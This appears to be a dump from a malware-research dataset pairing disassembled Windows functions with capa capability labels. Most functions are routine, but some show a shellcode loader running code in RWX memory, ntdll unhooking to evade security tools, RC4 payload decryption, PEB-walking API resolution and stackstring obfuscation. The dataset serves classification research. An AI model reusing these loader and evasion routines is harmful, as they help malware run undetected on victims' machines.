joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c2e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x78
mov rax, qword [0x14001e038]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], ecx
cmp ecx, 4
ja 0x14000c310
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000e160
add rsp, 0x78
ret
mov qword [rsp + 0x88], rbx
lea r8, [rsp + 0x20]
mov qword [rsp + 0x90], rbp
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x70], rdi
xorps xmm0, xmm0
mov qword [rsp + 0x68], r12
xor edx, edx
xor r12d, r12d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x50], r15
movdqu xmmword [rsp + 0x28], xmm0
call fcn.14000d000
mov rbp, qword [rsp + 0x30]
mov r15d, r12d
mov r14, qword [rsp + 0x28]
mov ebx, r12d
sub rbp, r14
mov edi, r12d
sar rbp, 2
test rbp, rbp
je 0x14000c3ea
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x60], r13
mov r13d, 1
nop dword [rax + rax]
mov r8d, dword [r14 + rdi*4]
xor edx, edx
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x14000c3b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
je 0x14000c3ce
mov ebx, r13d
jmp 0x14000c3d5
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rsi
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
cmove ebx, r13d
inc rdi
cmp rdi, rbp
jb 0x14000c390
mov r13, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x98]
mov r15, qword [rsp + 0x50]
test ebx, ebx
mov rdi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x90]
sete r12b
mov rbx, qword [rsp + 0x88]
test r14, r14
je 0x14000c44b
mov rdx, qword [rsp + 0x38]
mov rax, r14
sub rdx, r14
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x14000c443
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c443
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000e40c
mov r14, qword [rsp + 0x58]
mov eax, r12d
mov r12, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000e160
add rsp, 0x78
ret
Function at 0x14000c5a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x14001e038]
xor rax, rsp
mov qword [rsp + 0x270], rax
cmp qword [rcx + 0x38], 0
mov rsi, rdx
mov rbx, rcx
je 0x14000c602
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000c629
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000c602
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], 0
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14000e160
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
xor edx, edx
lea rcx, [rsp + 0x34]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000c69e
nop word [rax + rax]
mov rcx, qword [rbx + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rax
test rcx, rcx
je 0x14000c6ce
mov rax, qword [rcx]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
call qword [rax + 0x10]
test eax, eax
je 0x14000c69e
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000c660
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000c6c4
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], 0
mov eax, 1
jmp 0x14000c604
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
Function at 0x14000cd20
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push rsi
sub rsp, 0x70
mov rax, qword [0x14001e038]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rcx
test rcx, rcx
jne 0x14000cd55
mov eax, 0x80070057
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000e160
add rsp, 0x70
pop rsi
ret
mov qword [rsp + 0x88], rbx
xor edx, edx
mov qword [rsp + 0x90], rbp
xor ebp, ebp
mov qword [rcx], rbp
xor ecx, ecx
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x60], rbp
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov edi, eax
test eax, eax
js 0x14000cecf
lea rax, [rsp + 0x58]
mov qword [rsp + 0x58], rbp
lea r9, [0x140011de8]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r8d, [rbp + 1]
lea rcx, [0x140011dd8]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, eax
test eax, eax
js 0x14000cecf
cmp qword [rsp + 0x58], rbp
je 0x14000cecf
lea ecx, [rbp + 0x18]
call fcn.14000e180
mov rbx, rax
test rax, rax
je 0x14000cf0c
mov qword [rax], rbp
lea rcx, str.ROOTCIMV2
mov qword [rax + 0x10], 1
mov qword [rax + 8], rbp
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x14000cf0c
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x40], rdx
xor r9d, r9d
mov qword [rsp + 0x38], rbp
xor r8d, r8d
mov qword [rsp + 0x30], rbp
mov rdx, rax
mov r10, qword [rcx]
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [r10 + 0x18]
mov edi, eax
mov eax, 0xffffffff
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x14000ce78
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000ce59
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], rbp
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000ce6b
call fcn.14000e40c
mov qword [rbx + 8], rbp
mov edx, 0x18
mov rcx, rbx
call fcn.14000e40c
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x58], rbp
test edi, edi
js 0x14000cecf
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000cedf
mov dword [rsp + 0x38], ebp
xor r9d, r9d
mov qword [rsp + 0x30], rbp
xor r8d, r8d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
lea edx, [r9 + 0xa]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov edi, eax
test eax, eax
js 0x14000cecf
mov rax, qword [rsp + 0x60]
mov qword [rsi], rax
jmp 0x14000cedf
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000cedf
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rbp, qword [rsp + 0x90]
mov eax, edi
mov rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000e160
add rsp, 0x70
pop rsi
ret
mov ecx, 0x8007000e
call fcn.14000de20
int3
Function at 0x140001e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001e93
test rsi, rsi
je 0x140001e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005800]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005800]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005800]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002930
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
mov rbp, qword [0x1400058d0]
mov rax, qword [rbp]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.NTDLL.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov rdi, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtCreateThreadEx
mov rcx, rdi
mov r14, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtWaitForSingleObject
mov rcx, rdi
mov r13, rax
call sub.KERNEL32.dll_GetProcAddress
xor r10d, r10d
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov r12, rax
mov qword [rsp + 0x68], rbx
lea r9, [rsp + 0x68]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call r14
test eax, eax
jne 0x140002a3e
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor eax, eax
xor edx, edx
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x70], rax
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x70]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call r13
test eax, eax
jne 0x140002a3e
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002a3e
xor r8d, r8d
mov edx, 1
call r12
mov rax, qword [rsp + 0x78]
sub rax, qword [rbp]
je 0x140002a4f
call fcn.140002510
nop
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140002b70
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x1400058d0]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x140002bbb
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002a60
cmp rsi, 0x100
jne 0x140002be5
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140002c75
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002a60
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140002c20
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140002c87
call fcn.140002510
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140002e30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rax, qword [0x1400058d0]
mov rdi, qword [rax]
mov qword [rsp + 0x98], rdi
xor edi, edi
lea rdi, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 6
mov qword [rsp + 0x58], rax
xor eax, eax
rep stosd dword [rdi], eax
lea rcx, [0x140005060]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
mov qword [rsp + 0x48], rax
je 0x140002ff4
mov rcx, qword [rsp + 0x58]
mov r9d, 0x18
mov rdx, rax
lea r8, [rsp + 0x80]
call sub.KERNEL32.dll_K32GetModuleInformation
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov edx, 0x80000000
mov r12, qword [rsp + 0x80]
mov dword [rsp + 0x28], r8d
lea rcx, str.C:WindowsSystem32_ntdll.dll
mov r8d, 1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r10d, r10d
xor edx, edx
mov qword [rsp + 0x28], r9
mov r8d, 0x1000002
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test rax, rax
mov qword [rsp + 0x50], rax
je 0x140002ff4
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rax
mov edx, 4
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rbp, dword [r12 + 0x3c]
mov r14, rax
add rbp, r12
lea r15, [rbp + 0x18]
cmp r13w, word [rbp + 6]
jae 0x140002fcd
movzx r10d, word [rbp + 0x14]
lea rdx, str..text
movzx eax, r13w
imul rax, rax, 0x28
add r10, r15
lea rbx, [r10 + rax]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140002fc5
mov ecx, dword [rbx + 0xc]
lea r9, [rsp + 0x7c]
xor eax, eax
mov r8d, 0x40
mov edx, dword [rbx + 8]
mov qword [rsp + 0x68], r9
mov dword [rsp + 0x7c], eax
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [rbx + 0xc]
mov ecx, dword [rbx + 8]
mov r9, qword [rsp + 0x68]
lea rax, [r12 + rsi]
add rsi, r14
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov r8d, dword [rsp + 0x7c]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r13d
jmp 0x140002f47
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call rsi
mov rcx, qword [rsp + 0x60]
call rsi
mov rcx, qword [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1400058d0]
mov rdi, qword [rsp + 0x98]
sub rdi, qword [rax]
je 0x14000300e
call fcn.140002510
nop
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14001a06c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r9
mov rsi, r8
mov rdi, rcx
call fcn.14001a914
mov qword [rdi + 0x28], rax
test rax, rax
jne 0x14001a0a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
jmp 0x14001a12d
xor r9d, r9d
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
nop dword [rax + rax]
mov rbx, rax
test rax, rax
jne 0x14001a0dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov rcx, rdi
mov ebx, eax
call fcn.14001a144
mov eax, ebx
jmp 0x14001a12d
mov rcx, qword [rdi + 0x28]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
nop dword [rax + rax]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14001a0c3
mov rcx, qword [rdi + 0x28]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
nop dword [rax + rax]
mov dword [rdi + 0x18], eax
test eax, eax
je 0x14001a0c3
mov rcx, qword [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LockResource]
nop dword [rax + rax]
mov qword [rdi], rax
test rax, rax
je 0x14001a0c3
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14001af98
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140033880], eax
call fcn.14001b6d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140033880], 0
jne case.default.0x14001afee
mov ecx, 1
call fcn.14001b6d0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
invalid
lodsb al, byte [rsi]
push rsp
fidivr word [rsi - 0xf5040ac]
scasd eax, dword [rdi]
lock add byte [rsi + 0x6cc44d9d], bh
jrcxz 0x140051ed9
jnp 0x140051e86
out 2, al
mov bh, 0xa9
cmc
movsd dword [rdi], dword [rsi]
cmpsb byte [rsi], byte [rdi]
in al, 0x33
cmp byte [rsi - 0x62fc4f7d], 8
popfq
invalid
scasd eax, dword [rdi]
fisttp qword [rbx - 0x14]
test dword [rbp + riz*8 + 0x78965897], ebp
neg byte [rax - 0x516f9eb6]
nop
scasb al, byte [rdi]
int3
Function at 0x140036c78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140036cc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140036cc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140036cc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140036cc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140036cc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140036cc4
xor al, al
add rsp, 0x28
ret
Function at 0x100001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea rcx, [rsp + 0x30]
call fcn.1000010f4
mov edx, 0x10
lea rcx, [0x10000110c]
call fcn.100001a30
movzx eax, al
test eax, eax
je 0x1000010ed
lea rcx, [rsp + 0x30]
call fcn.100001bf8
movzx eax, al
test eax, eax
je 0x1000010ed
call fcn.100001a24
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0x45
mov byte [rsp + 0x21], 0x6e
mov byte [rsp + 0x22], 0x74
mov byte [rsp + 0x23], 0x72
mov byte [rsp + 0x24], 0x79
mov byte [rsp + 0x25], 0
mov byte [rsp + 0x38], 0x45
mov byte [rsp + 0x39], 0x6e
mov byte [rsp + 0x3a], 0x74
mov byte [rsp + 0x3b], 0x72
mov byte [rsp + 0x3c], 0x79
mov byte [rsp + 0x3d], 0x54
mov byte [rsp + 0x3e], 0x69
mov byte [rsp + 0x3f], 0x74
mov byte [rsp + 0x40], 0x6c
mov byte [rsp + 0x41], 0x65
mov byte [rsp + 0x42], 0
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x50], 0
je 0x1000010c9
mov r9d, 0x40
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call qword [rax + 0x50]
mov r8d, 6
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.100001d2c
mov r8d, 0xb
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.100001d2c
xor eax, eax
add rsp, 0x58
ret
Function at 0x1000017a8
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x18]
add rax, 0x20
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x10], rax
je 0x100001890
mov rax, qword [rsp + 0x10]
sub rax, 0x10
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 0x48]
cmp eax, 0x19
jle 0x10000187e
mov rax, qword [rsp + 8]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 0x48]
mov word [rsp], ax
movzx eax, word [rsp]
sub eax, 0x18
cdqe
mov rcx, qword [rsp + 0x18]
movsx eax, byte [rcx + rax]
cmp eax, 0x4b
jne 0x10000187e
movzx eax, word [rsp]
sub eax, 0xc
cdqe
mov rcx, qword [rsp + 0x18]
movsx eax, byte [rcx + rax]
cmp eax, 0x33
jne 0x10000187e
movzx eax, word [rsp]
sub eax, 0xa
cdqe
mov rcx, qword [rsp + 0x18]
movsx eax, byte [rcx + rax]
cmp eax, 0x32
jne 0x10000187e
mov rax, qword [rsp + 8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x28], rax
jmp 0x100001890
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x10], rax
jmp 0x1000017e2
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x10000189c
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x28], 0x47
mov byte [rsp + 0x29], 0x65
mov byte [rsp + 0x2a], 0x74
mov byte [rsp + 0x2b], 0x50
mov byte [rsp + 0x2c], 0x72
mov byte [rsp + 0x2d], 0x6f
mov byte [rsp + 0x2e], 0x63
mov byte [rsp + 0x2f], 0x41
mov byte [rsp + 0x30], 0x64
mov byte [rsp + 0x31], 0x64
mov byte [rsp + 0x32], 0x72
mov byte [rsp + 0x33], 0x65
mov byte [rsp + 0x34], 0x73
mov byte [rsp + 0x35], 0x73
mov byte [rsp + 0x36], 0
mov dword [rsp + 0x20], 0
jmp 0x1000019a4
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x100001a17
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x58]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call fcn.100001e8c
test eax, eax
jne 0x100001a15
mov r8d, 0xf
xor edx, edx
